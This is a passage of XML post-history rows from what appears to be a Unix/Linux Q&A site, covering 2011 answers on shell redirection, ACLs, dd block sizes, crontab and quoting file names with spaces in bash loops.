  <row Id="22568" PostHistoryTypeId="6" PostId="3668" RevisionGUID="43c4190c-4eb8-4d31-bb17-13ce8f622cc8" CreationDate="2011-03-17T20:24:57.567" UserId="885" Comment="edited tags" Text="énetworkingàécentosàédnsàéresolvûconfà" />
  <row Id="22569" PostHistoryTypeId="6" PostId="9438" RevisionGUID="7f482cc5-bb1f-4a2e-b96b-327a4d321880" CreationDate="2011-03-17T20:25:18.283" UserId="885" Comment="edited tags" Text="édnsà" />
  <row Id="22570" PostHistoryTypeId="6" PostId="9447" RevisionGUID="56a89967-3155-482d-97d2-351cd8555d92" CreationDate="2011-03-17T20:25:40.343" UserId="885" Comment="edited tags" Text="éfedoraàémonitorà" />
  <row Id="22571" PostHistoryTypeId="6" PostId="9436" RevisionGUID="43539f8f-62d9-4e62-bb9c-4dc037c73a2c" CreationDate="2011-03-17T20:28:11.277" UserId="885" Comment="edited tags" Text="élinuxàékernelàébootàécompilingàéinitrdà" />
  <row Id="22572" PostHistoryTypeId="25" PostId="9483" RevisionGUID="0f162890-ad36-409d-9ee4-6c1aceab4308" CreationDate="2011-03-17T20:31:19.773" Comment="http://twitter.com/#!/StackUnix/status/48481561871519744" />
  <row Id="22573" PostHistoryTypeId="5" PostId="9485" RevisionGUID="549e62df-cf48-4bcb-ac49-4cdd80fd7767" CreationDate="2011-03-17T20:34:59.647" UserId="5785" Comment="added 209 characters in body" Text="Actually, you don't have a problem with make, but with your command:&#xD;&#xA;&#xD;&#xA;    tex dummy.tex &amp;&gt; /dev/null;&#xD;&#xA;&#xD;&#xA;Runs 'tex' in the background. You don't need to remove '&gt;/dev/null', but '&amp;' is sending 'tex' to the background.&#xD;&#xA;&#xD;&#xA;Try this, it must be fine for you:&#xD;&#xA;&#xD;&#xA;    tex dummy.tex &gt; /dev/null;&#xD;&#xA;&#xD;&#xA;or run everything in the same subshell, like this:&#xD;&#xA;&#xD;&#xA;    (tex dummy.tex &gt; /dev/null;rm *.log)&#xD;&#xA;&#xD;&#xA;or less sane, this:&#xD;&#xA;&#xD;&#xA;    if test 1 = 1; then tex dummy.tex &gt; /dev/null;rm *.log; fi&#xD;&#xA;&#xD;&#xA;PD: &amp;&gt; is an extension provided by some shells (including bash) to redirect both stdout and stderr to the same destination, but it's not portable, you should use '&gt;/dev/null 2&gt;&amp;1' instead. (Thanks @Gilles)&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22574" PostHistoryTypeId="2" PostId="9487" RevisionGUID="3f71e56e-4b17-4888-a6fb-859211dfbbee" CreationDate="2011-03-17T20:47:25.067" UserId="885" Text="I'd use a different approach and share the files through an [access control list](http://en.wikipedia.org/wiki/Access_control_list) on the directory.&#xD;&#xA;&#xD;&#xA;First make sure access control lists are enabled on the filesystem where the directory resides (make sure that the corresponding entry in `/etc/fstab` contains `acl` in the fourth column). Also make sure you have the acl utilities installed (on Debian, install the `acl` package). Then give both users an inheritable write permission on the directory.&#xD;&#xA;&#xD;&#xA;    setfacl -m user:other_user:rwx /path/to/directory&#xD;&#xA;    setfacl -d -m user:other_user:rwx /path/to/directory&#xD;&#xA;&#xD;&#xA;If there are more than two users, either repeat this command for each user (the ACL is implicit for the user who created the directory); or put the users in a group (as you already did), and use `-m group:group_name:rwx` in the `setfacl` command.&#xD;&#xA;" />
  <row Id="22575" PostHistoryTypeId="6" PostId="9331" RevisionGUID="d718126b-a1fc-4491-9823-b87e72910197" CreationDate="2011-03-17T20:47:46.127" UserId="885" Comment="edited tags" Text="élinuxàépermissionsàéserveràéfileösharingà" />
  <row Id="22576" PostHistoryTypeId="2" PostId="9488" RevisionGUID="b1d4b31b-a5ae-489d-84b6-f48fe01ca0d2" CreationDate="2011-03-17T20:50:54.640" UserId="5661" Text="Not really a one-liner but I think it's useful. Convert many files to uppercase, for example `file_to_upper *php *c`. There are many similar cases like converting to lower, renaming all files by suffix/prefix, etc.&#xD;&#xA;&#xD;&#xA;    file_to_upper ()&#xD;&#xA;    {&#xD;&#xA;        for file in &quot;$@&quot;&#xD;&#xA;        do&#xD;&#xA;            if [ ! -f &quot;$file&quot; ]; then&#xD;&#xA;                echo &quot;File $file does not exist&quot;;&#xD;&#xA;            else&#xD;&#xA;                mv -f &quot;$file&quot; &quot;`echo &quot;$file&quot; | tr '[a-z]' '[A-Z]'`&quot;&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;&#xD;&#xA;        return 0&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="22577" PostHistoryTypeId="2" PostId="9489" RevisionGUID="68b9c6c7-210d-473b-ba9a-eaa971f597da" CreationDate="2011-03-17T21:06:18.760" UserId="5785" Text="If you will install your system in a flash drive, you don't need to build a new kernel. Just disable ACPI:&#xD;&#xA;&#xD;&#xA;http://www.freebsd.org/doc/handbook/install-trouble.html#Q2.11.3.1.&#xD;&#xA;&#xD;&#xA;BTW: Did you try with option 2 of CD (To start without ACPI)?&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22578" PostHistoryTypeId="2" PostId="9490" RevisionGUID="867d95d5-663c-42a3-a33b-717b3549008b" CreationDate="2011-03-17T22:14:13.460" UserId="5833" Text="Hello, I have tried both my own builds of Chromium OS and Hexxeh's daily Vanilla builds, and neither work. I copy them over to my flash drive, but when I try to boot from it, nothing happens except my backlight flashing on and off a few times, then a reboot.&#xD;&#xA;System: Compaq Presario CQ50-140US&#xD;&#xA;http://h10025.www1.hp.com/ewfrf/wc/document?docname=c01550071&amp;tmp_task=prodinfoCategory&amp;lc=en&amp;dlc=en&amp;cc=us&amp;site=null&amp;lang=en&amp;product=3795225&amp;key=null" />
  <row Id="22579" PostHistoryTypeId="1" PostId="9490" RevisionGUID="867d95d5-663c-42a3-a33b-717b3549008b" CreationDate="2011-03-17T22:14:13.460" UserId="5833" Text="Unable to boot Chromium OS from USB drive" />
  <row Id="22580" PostHistoryTypeId="3" PostId="9490" RevisionGUID="867d95d5-663c-42a3-a33b-717b3549008b" CreationDate="2011-03-17T22:14:13.460" UserId="5833" Text="éusbàébootàéusbödriveàéchromeàéliveöusbà" />
  <row Id="22581" PostHistoryTypeId="2" PostId="9491" RevisionGUID="9aab45bc-968d-44bb-8795-25fe4d8603bd" CreationDate="2011-03-17T22:14:39.280" UserId="5766" Text="Brace expansion in combination with for loops:&#xD;&#xA;&#xD;&#xA;    for c in {1..3}; do :; done&#xD;&#xA;&#xD;&#xA;`!` operator and short circuiting operators `||` and `&amp;&amp;`&#xD;&#xA;&#xD;&#xA;    [ -d /tmp/dir ] || mkdir /tmpdir&#xD;&#xA;&#xD;&#xA;    if ! ping 34.41.34.1; then :; fi&#xD;&#xA;&#xD;&#xA;using sub shells instead of pop/push&#xD;&#xA;&#xD;&#xA;    ~$ ( cd /tmp; echo $PWD )&#xD;&#xA;    /tmp&#xD;&#xA;    ~$&#xD;&#xA;&#xD;&#xA;the kind-of *what-is* command `type`&#xD;&#xA;&#xD;&#xA;    ~$ type type&#xD;&#xA;    type is a shell builtin&#xD;&#xA;    ~$ type ls&#xD;&#xA;    ls is aliased to `ls --color=auto'&#xD;&#xA;    ~$ f(){ :; }&#xD;&#xA;    ~$ type f&#xD;&#xA;    f is a function&#xD;&#xA;    f () &#xD;&#xA;    { &#xD;&#xA;         :&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;also very nice: here-strings&#xD;&#xA;&#xD;&#xA;    ~$ cat &lt;&lt;&lt;&quot;here $PWD&quot;&#xD;&#xA;    here /home/yourname&#xD;&#xA;    ~$&#xD;&#xA;&#xD;&#xA;and my favorite: redirection on a list of commands &#xD;&#xA;&#xD;&#xA;    { w; ps; ls /tmp; } 2&gt;/dev/null |less&#xD;&#xA;" />
  <row Id="22582" PostHistoryTypeId="5" PostId="9491" RevisionGUID="c9cea615-bb7d-454a-92b9-fe0bd7cb1e1f" CreationDate="2011-03-17T22:20:03.660" UserId="5766" Comment="added 25 characters in body" Text="Brace expansion in combination with for loops:&#xD;&#xA;&#xD;&#xA;    for c in {1..3}; do :; done&#xD;&#xA;&#xD;&#xA;`!` operator and short circuiting operators `||` and `&amp;&amp;`&#xD;&#xA;&#xD;&#xA;    [ -d /tmp/dir ] || mkdir /tmpdir&#xD;&#xA;&#xD;&#xA;    if ! ping 34.41.34.1; then :; fi&#xD;&#xA;&#xD;&#xA;using sub shells instead of pop/push (comes handy in scripts)&#xD;&#xA;&#xD;&#xA;    ~$ ( cd /tmp; echo $PWD )&#xD;&#xA;    /tmp&#xD;&#xA;    ~$&#xD;&#xA;&#xD;&#xA;the kind-of *what-is* command `type`&#xD;&#xA;&#xD;&#xA;    ~$ type type&#xD;&#xA;    type is a shell builtin&#xD;&#xA;    ~$ type ls&#xD;&#xA;    ls is aliased to `ls --color=auto'&#xD;&#xA;    ~$ f(){ :; }&#xD;&#xA;    ~$ type f&#xD;&#xA;    f is a function&#xD;&#xA;    f () &#xD;&#xA;    { &#xD;&#xA;         :&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;also very nice: here-strings&#xD;&#xA;&#xD;&#xA;    ~$ cat &lt;&lt;&lt;&quot;here $PWD&quot;&#xD;&#xA;    here /home/yourname&#xD;&#xA;    ~$&#xD;&#xA;&#xD;&#xA;and my favorite: redirection on a list of commands &#xD;&#xA;&#xD;&#xA;    { w; ps; ls /tmp; } 2&gt;/dev/null |less&#xD;&#xA;" />
  <row Id="22583" PostHistoryTypeId="5" PostId="9385" RevisionGUID="42c5734f-2381-4170-84eb-37c5fbae0636" CreationDate="2011-03-17T22:33:17.077" UserId="4" Comment="added 33 characters in body" Text="Several answers here mention the [Behlendorf ZFS port][1].&#xD;&#xA;&#xD;&#xA;Keep in mind that the Behlendorf ZFS port is currently targeted towards [Lustre][2] users with extremely large filesystems. This is what Lawrence Livermore National Labs, the US Department of Energy and other research facilities need, because they run very filesystems (100TB - multi-Petabyte systems in the near future). Lustre runs on Linux, and is running into problems when used for filesystems above certain sizes. Some people hope to [solve this problem using ZFS][3], which is where zfsonlinux.org comes into play.&#xD;&#xA;&#xD;&#xA;In order for ZFS to be useful for the rest of us, the [ZPL][4] (ZFS POSIX Layer) must be ported to Linux, so that administrators can interact with the filesystem. zfsonlinux.org has a [development version of the ZPL][5], and KQ Infotech provides [another implementation of the ZPL][6], which is a fork of the zfsonlinux.org code.&#xD;&#xA;&#xD;&#xA;Behlendorf [wants help to improve the ZPL][7] and to merge in any changes from KQ Infotech into the zfsonlinux.org repository. If you can do this, the community will benefit greatly, and you will be a rockstar.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zfsonlinux.org/&#xD;&#xA;  [2]: http://wiki.lustre.org/index.php/Main_Page&#xD;&#xA;  [3]: http://wiki.lustre.org/index.php/ZFS_and_Lustre&#xD;&#xA;  [4]: http://hub.opensolaris.org/bin/view/Community+Group+zfs/source#HZPLZFSPOSIXLayer&#xD;&#xA;  [5]: http://zfsonlinux.org/example-zpl.html&#xD;&#xA;  [6]: http://kqinfotech.com/content.php?id=2&amp;subid=17&#xD;&#xA;  [7]: http://groups.google.com/a/zfsonlinux.org/group/zfs-devel/browse_thread/thread/032a2109f02fc1ff/844594e248f197cb#844594e248f197cb" />
  <row Id="22584" PostHistoryTypeId="2" PostId="9492" RevisionGUID="3edf4e86-2a3d-41cc-a515-34c04e65df5a" CreationDate="2011-03-17T22:42:42.887" UserId="885" Text="There's but one way to determine the optimal block size, and that's a benchmark. I've just made a quick benchmark. The test machine is a PC running Debian GNU/Linux, with kernel 2.6.32 and coreutils 8.5. Both filesystems involved are ext3 on LVM volumes on a hard disk partition. The source file is 2GB (2040000kB to be precise). Caching and buffering are enabled. Before each run, I emptied the cache with `sync; echo 1 &gt;|/proc/sys/vm/drop_caches`. The run times do not include a final `sync` to flush the buffers; the final `sync` takes on the order of 1 second. The `same` runs were copies on the same filesystem; the `diff` runs were copies to a filesystem on a different hard disk. For consistency, the times reported are the wall clock times obtained with the `time` utility, in seconds. I only ran each command once, so I don't know how much variance there is in the timing.&#xD;&#xA;&#xD;&#xA;                 same   diff&#xD;&#xA;    dd bs=64M    71.1   51.3&#xD;&#xA;    dd bs=1M     73.9   41.8&#xD;&#xA;    dd bs=4k     79.6   48.5&#xD;&#xA;    dd bs=512    85.3   48.9&#xD;&#xA;    cat          76.2   41.7&#xD;&#xA;    cp           77.8   45.3&#xD;&#xA;&#xD;&#xA;Conclusion: a large block size (several megabytes) helps, but not dramatically (a lot less than I expected for same-drive copies). And `cat` and `cp` don't perform so badly. With these numbers, I don't find `dd` worth bothering with. Go with `cat`!&#xD;&#xA;" />
  <row Id="22585" PostHistoryTypeId="6" PostId="9432" RevisionGUID="a14cdd49-e769-422e-a350-8feb0c57cdd3" CreationDate="2011-03-17T22:44:14.197" UserId="885" Comment="edited tags" Text="éperformanceàéddàéfileöcopyà" />
  <row Id="22586" PostHistoryTypeId="5" PostId="9466" RevisionGUID="e62ddd36-2333-4622-ba4a-7bc8ff46c9c7" CreationDate="2011-03-17T22:46:11.527" UserId="298" Comment="Spelling correction, clarity changes." Text="I used `crontab -e` to add the following line to my crontab:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusername/test&#xD;&#xA;&#xD;&#xA;Yet, I don't see that the test file is written to. Is this a permission problem, or is crontab not working correctly?&#xD;&#xA;&#xD;&#xA;I see that the cron process is running. How can I debug this?&#xD;&#xA;&#xD;&#xA;**Edit** - Ask Ubuntu has [a nice question about crontab][1], unfortunately that still doesn't help me.&#xD;&#xA;&#xD;&#xA;**Edit 2** - Hmm, it seems my test file has 214 lines, which means for the last 214 minutes it has been written to every minute. I'm not sure what was the problem, but it's evidently gone.&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/23009/reasons-why-crontab-does-not-work" />
  <row Id="22587" PostHistoryTypeId="24" PostId="9466" RevisionGUID="e62ddd36-2333-4622-ba4a-7bc8ff46c9c7" CreationDate="2011-03-17T22:46:11.527" Comment="Proposed by 298 approved by 885 edit id of 215" />
  <row Id="22588" PostHistoryTypeId="2" PostId="9493" RevisionGUID="03fd8883-522e-4aaa-acb3-41de9609ec58" CreationDate="2011-03-17T23:11:19.267" UserId="3169" Text="I agree with geekosaur that the size should be a multiple of the block size, which is often 4K.&#xD;&#xA;&#xD;&#xA;If you want to find the block size `stat -c &quot;%o&quot; filename` is probably the easiest option.&#xD;&#xA;&#xD;&#xA;But say you do `dd bs=4K`, that means it does `read(4096); write(4096); read(4096); write(4096)`...&#xD;&#xA;&#xD;&#xA;Each system call involves a context switch, which involves some overhead, and depending on the I/O scheduler, reads with interspersed writes could cause the disk to do lots of seeks.  (Probably not a major issue with the Linux scheduler, but nonetheless something to think about.)&#xD;&#xA;&#xD;&#xA;So if you do `bs=8K`, you allow the disk to read two blocks at a time, which are probably close together on the disk, before seeking somewhere else to do the write (or to service I/O for another process).&#xD;&#xA;&#xD;&#xA;By that logic, `bs=16K` is even better, etc.&#xD;&#xA;&#xD;&#xA;So what I'd like to know is if there is an upper limit where performance starts to get worse, or if it's only bounded by memory." />
  <row Id="22589" PostHistoryTypeId="6" PostId="9360" RevisionGUID="4cf30583-94b1-4c23-bc43-3e25ac820635" CreationDate="2011-03-17T23:27:10.853" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàécolorsàéhighlightingà" />
  <row Id="22590" PostHistoryTypeId="25" PostId="9480" RevisionGUID="954f3ff6-155e-47c9-8d84-a3f1e701e227" CreationDate="2011-03-17T23:31:20.523" Comment="http://twitter.com/#!/StackUnix/status/48526862577713152" />
  <row Id="22591" PostHistoryTypeId="2" PostId="9494" RevisionGUID="f9d8cf75-bcd9-41ed-ab3e-d87463219292" CreationDate="2011-03-18T00:11:29.317" UserId="5630" Text="One of the things that really slows me down in catching on with Linux is the huge difference between the file system in Linux versus Windows.  Up until the last 3-4 years I only used Windows systems and its only been the last 2-3 months that I've really worked at getting accustomed to Linux.  I think one of the things that really bothers me at this point is that I felt like I could find just about anything I wanted to when I began digging through the various folders in Windows.  I had become accustomed to what kinds of things were placed where and when.  I don't have that with Linux.  I'm learning a few things like the /opt folder is where most third-party programs get installed... but my understanding is limited.  What things are important to know to really understand the file system and to be able to locate different files and programs and such?" />
  <row Id="22592" PostHistoryTypeId="1" PostId="9494" RevisionGUID="f9d8cf75-bcd9-41ed-ab3e-d87463219292" CreationDate="2011-03-18T00:11:29.317" UserId="5630" Text="How does the Linux file system/organization differ from Windows?" />
  <row Id="22593" PostHistoryTypeId="3" PostId="9494" RevisionGUID="f9d8cf75-bcd9-41ed-ab3e-d87463219292" CreationDate="2011-03-18T00:11:29.317" UserId="5630" Text="éfilesystemsà" />
  <row Id="22594" PostHistoryTypeId="2" PostId="9495" RevisionGUID="d08b1211-283e-4726-902d-dad638db6b15" CreationDate="2011-03-18T00:18:47.407" UserId="688" Text="Have a look at the Filesystem Hierarchy Standard (FHS), which is a standard of organising [directory structure][1]. I assume most (all?) Linux systems more or less follow it.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure" />
  <row Id="22595" PostHistoryTypeId="2" PostId="9496" RevisionGUID="a07c2808-cfd7-4520-9978-8856a656fefb" CreationDate="2011-03-18T00:20:29.383" UserId="3115" Text="I wrote the following script to diff the outputs of two directores with all the same files in them as such:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;;&#xD;&#xA;         diff $file /some/other/path/$file;&#xD;&#xA;         read char;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I know there are other ways to achieve this.  Curiously though, this script fails when the files have spaces in them.  How can I deal with this?&#xD;&#xA;" />
  <row Id="22596" PostHistoryTypeId="1" PostId="9496" RevisionGUID="a07c2808-cfd7-4520-9978-8856a656fefb" CreationDate="2011-03-18T00:20:29.383" UserId="3115" Text="ls'ing files with spaces in them" />
  <row Id="22597" PostHistoryTypeId="3" PostId="9496" RevisionGUID="a07c2808-cfd7-4520-9978-8856a656fefb" CreationDate="2011-03-18T00:20:29.383" UserId="3115" Text="ébashàéscriptingà" />
  <row Id="22598" PostHistoryTypeId="2" PostId="9497" RevisionGUID="098e335d-ac25-4e2d-83a4-ca24a21004c3" CreationDate="2011-03-18T00:31:43.660" UserId="5325" Text="Double quoting is your friend.&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;Otherwise the variable's contents get word-split." />
  <row Id="22599" PostHistoryTypeId="2" PostId="9498" RevisionGUID="6a95065e-4c2e-44c1-8c1b-276865634b82" CreationDate="2011-03-18T00:32:16.883" UserId="5267" Text="File names with spaces in them look like multiple names on the command line if they're not quoted. If your file is named &quot;Hello World.txt&quot;, the diff line expands to:&#xD;&#xA;&#xD;&#xA;    diff Hello World.txt /some/other/path/Hello World.txt&#xD;&#xA;&#xD;&#xA;which looks like four file names. Just put quotes around the arguments:&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;" />
  <row Id="22600" PostHistoryTypeId="5" PostId="9496" RevisionGUID="00c5c20a-228f-41ea-88c1-baffa58daa3f" CreationDate="2011-03-18T00:39:59.420" UserId="3115" Comment="added 80 characters in body" Text="I wrote the following script to diff the outputs of two directores with all the same files in them as such:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;;&#xD;&#xA;         diff $file /some/other/path/$file;&#xD;&#xA;         read char;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I know there are other ways to achieve this.  Curiously though, this script fails when the files have spaces in them.  How can I deal with this?&#xD;&#xA;&#xD;&#xA;Example output of find:&#xD;&#xA;&#xD;&#xA;    ./zQuery - abc - Do Not Prompt for Date.csv&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22601" PostHistoryTypeId="2" PostId="9499" RevisionGUID="3b76b622-07a1-4561-8695-7f0caee7b464" CreationDate="2011-03-18T00:44:13.753" UserId="3169" Text="Two problems:&#xD;&#xA;&#xD;&#xA;1. The shell is splitting the output of find on any whitespace&#xD;&#xA;2. `$file` needs to be quoted&#xD;&#xA;&#xD;&#xA;Simplest change:&#xD;&#xA;   &#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Best way:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; | while IFS=$'\n' read -r file&#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you are not using `bash`, you might need to change&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;(single quote, Enter, single quote, meaning `IFS=&lt;newline&gt;`)&#xD;&#xA;&#xD;&#xA;Also, I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed." />
  <row Id="22602" PostHistoryTypeId="2" PostId="9500" RevisionGUID="7f860847-5fbb-4579-9d57-a4d4748ec58f" CreationDate="2011-03-18T00:49:02.560" UserId="885" Text="This script fails if any file name contains spaces or shell globbing characters `\[?*`. The `find` command outputs one file name per line. Then the command substitution `` `find …` `` is evaluated by the shell as follows:&#xD;&#xA;&#xD;&#xA;1. Execute the `find` command, grab its output.&#xD;&#xA;2. Split the `find` output into separate words. Any whitespace character is a word separator.&#xD;&#xA;3. For each word, if it is a globbing pattern, expand it to the list of files it matches.&#xD;&#xA;&#xD;&#xA;For example, suppose there are three files in the current directory, called ``foo* bar.csv`, `foo 1.txt` and `foo 2.txt`.&#xD;&#xA;&#xD;&#xA;1. The `find` command returns `./foo* bar.csv`.&#xD;&#xA;2. The shell splits this string at the space, producing two words: `./foo*` and `bar.csv`.&#xD;&#xA;3. Since `./foo*` contains a globbing metacharacter, it's expanded to the list of matching files: `./foo 1.txt` and `./foo 2.txt`.&#xD;&#xA;4. Therefore the `for` loop is executed successively with `./foo 1.txt`, `./foo 2.txt` and `bar.csv`.&#xD;&#xA;&#xD;&#xA;You can avoid most problems at this stage by toning down word splitting and turning off globbing. To tone down word splitting, set the `IFS` variable to a single newline character; this way the output of `find` will only be split at newlines and spaces will remain. To turn off globbing, run `set -f`. Then this part of the code will work as long as no file name contains a newline character.&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;    set -f&#xD;&#xA;    for file in $(find . -name &quot;*.csv&quot;); do …&#xD;&#xA;&#xD;&#xA;(This isn't part of your problem, but I recommend using `$(…)` over `` `…` ``. They have the same meaning, but the backquote version has weird quoting rules.)&#xD;&#xA;&#xD;&#xA;There's another problem below: `diff $file /some/other/path/$file` should be&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;Otherwise, the value of `$file` is split into words and the words are treated as glob patterns, like with the command substitutio above. If you must remember one thing about shell programming, remember this: **always use double quotes around variable expansions (`$foo`) and command substitutions (`$(bar)`)**, unless you know you want to split. (Above, we knew we wanted to split the `find` output into lines.)&#xD;&#xA;&#xD;&#xA;A reliable way of calling `find` is telling it to run a command for each file it finds:&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      echo &quot;$0&quot;&#xD;&#xA;      diff &quot;$0&quot; &quot;/some/other/path/$0&quot;&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;In this case, another approach is to compare the two directories, though you have to explicitly exclude all the “boring” files.&#xD;&#xA;&#xD;&#xA;    diff -r -x '*.txt' -x '*.ods' -x '*.pdf' … . /some/other/path&#xD;&#xA;" />
  <row Id="22603" PostHistoryTypeId="4" PostId="9496" RevisionGUID="26dd0e04-f7eb-4760-9084-a67905845421" CreationDate="2011-03-18T00:49:51.857" UserId="2511" Comment="edited title" Text="Looping through files with spaces in the names?" />
  <row Id="22604" PostHistoryTypeId="6" PostId="9494" RevisionGUID="dba624ac-0697-492f-89ea-6868a05f0975" CreationDate="2011-03-18T00:50:51.170" UserId="885" Comment="edited tags" Text="édirectoryöstructureà" />
  <row Id="22605" PostHistoryTypeId="5" PostId="9399" RevisionGUID="440da147-108e-4d22-8d3a-7b3fa609d7fe" CreationDate="2011-03-18T00:51:08.503" UserId="4319" Comment="To attract attention to that these things are open for contributions by the community." Text="(It's not a working answer, unfortunately, but still something curious. Someone interested could well try to complete the implementation of the feature I'm going to tell you about.)&#xD;&#xA;&#xD;&#xA;In `eshell` inside Emacs, they wanted to have such a feature but it's not implemented in a complete way (which is however [reflected in the documentation](http://www.gnu.org/software/emacs/manual/html_mono/eshell.html#index-g_t_0024_0024-8)).&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    ~ $ pwd&#xD;&#xA;    ~&#xD;&#xA;    ~ $ /bin/echo $$&#xD;&#xA;    ~&#xD;&#xA;    ~ $ /bin/pwd&#xD;&#xA;    /home/imz&#xD;&#xA;    ~ $ /bin/echo $$&#xD;&#xA;    &#xD;&#xA;    ~ $ &#xD;&#xA;&#xD;&#xA;You see, only the output of builtins can be captured into the `$$` variable.&#xD;&#xA;&#xD;&#xA;But well, some elisp programming (cf. `eshell-mark-output` implementation in &quot;esh-mode.el&quot;), and you could implement a function that &quot;marks&quot; the last output and returns it as the function's result; so that you can use that function in a eshell command you are asking for -- elisp functions can be used in eshell commands with the usual elisp syntax, i.e. in parentheses, like this:&#xD;&#xA;&#xD;&#xA;    ~ $ /bin/echo (buffer-name)&#xD;&#xA;    *eshell*&#xD;&#xA;    ~ $ /bin/echo (car '(a b c))&#xD;&#xA;    a&#xD;&#xA;    ~ $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22606" PostHistoryTypeId="5" PostId="9499" RevisionGUID="6a0f5278-27aa-4e61-9e93-0e89108d0ada" CreationDate="2011-03-18T00:55:01.650" UserId="3169" Comment="added 798 characters in body; added 16 characters in body" Text="Two problems:&#xD;&#xA;&#xD;&#xA;1. The shell is splitting the output of find on any whitespace&#xD;&#xA;2. `$file` needs to be quoted&#xD;&#xA;&#xD;&#xA;1 means that file is being set to `zquery` then `-` then `abc`, etc. because the shell breaks up the output of the command between backticks by splitting it on any whitespace character.&#xD;&#xA;&#xD;&#xA;2 means that after fixing 1, `diff` would see diff &quot;zquery&quot; &quot;-&quot; &quot;abc&quot;...&#xD;&#xA;&#xD;&#xA;Simplest change is to set `IFS` to only a newline character, so the shell doesn't split on spaces.&#xD;&#xA;&#xD;&#xA;After that, `$file` should be quoted to become `&quot;$file&quot;`, so that if file contains any newlines or wildcard characters, they are not treated specially.&#xD;&#xA;&#xD;&#xA;So change it to this:&#xD;&#xA;   &#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Also, it's probably better to use `find | while read file` rather than ```for file in `find` ``` .  This ensures that if find returns a very large number of file names, the shell doesn't have any problems processing it.  A `find | while read file` loop would look like this:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; | while IFS=$'\n' read -r file&#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you are not using `bash`, you might need to change&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;in the above examples to&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;(single quote, Enter, single quote, meaning `IFS=&lt;newline&gt;`)&#xD;&#xA;&#xD;&#xA;Also, I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed." />
  <row Id="22607" PostHistoryTypeId="5" PostId="9499" RevisionGUID="bcec6f5e-1a68-4ba3-bfdc-d8c83304f2f9" CreationDate="2011-03-18T01:00:37.960" UserId="3169" Comment="added 343 characters in body; added 19 characters in body; deleted 20 characters in body" Text="Two problems:&#xD;&#xA;&#xD;&#xA;1. The shell is splitting the output of find on any whitespace&#xD;&#xA;2. `$file` needs to be quoted&#xD;&#xA;&#xD;&#xA;1 means that file is being set to `zquery` then `-` then `abc`, etc. because the shell breaks up the output of the command between backticks by splitting it on any whitespace character.&#xD;&#xA;&#xD;&#xA;2 means that after fixing 1, `diff` would see `diff &quot;zquery&quot; &quot;-&quot; &quot;abc&quot;`...&#xD;&#xA;&#xD;&#xA;Simplest change is to set `IFS` to only a newline character, so the shell doesn't split on spaces.&#xD;&#xA;&#xD;&#xA;After that, `$file` should be quoted to become `&quot;$file&quot;`, so that if file contains any newlines or wildcard characters, they are not treated specially.&#xD;&#xA;&#xD;&#xA;So change it to this:&#xD;&#xA;   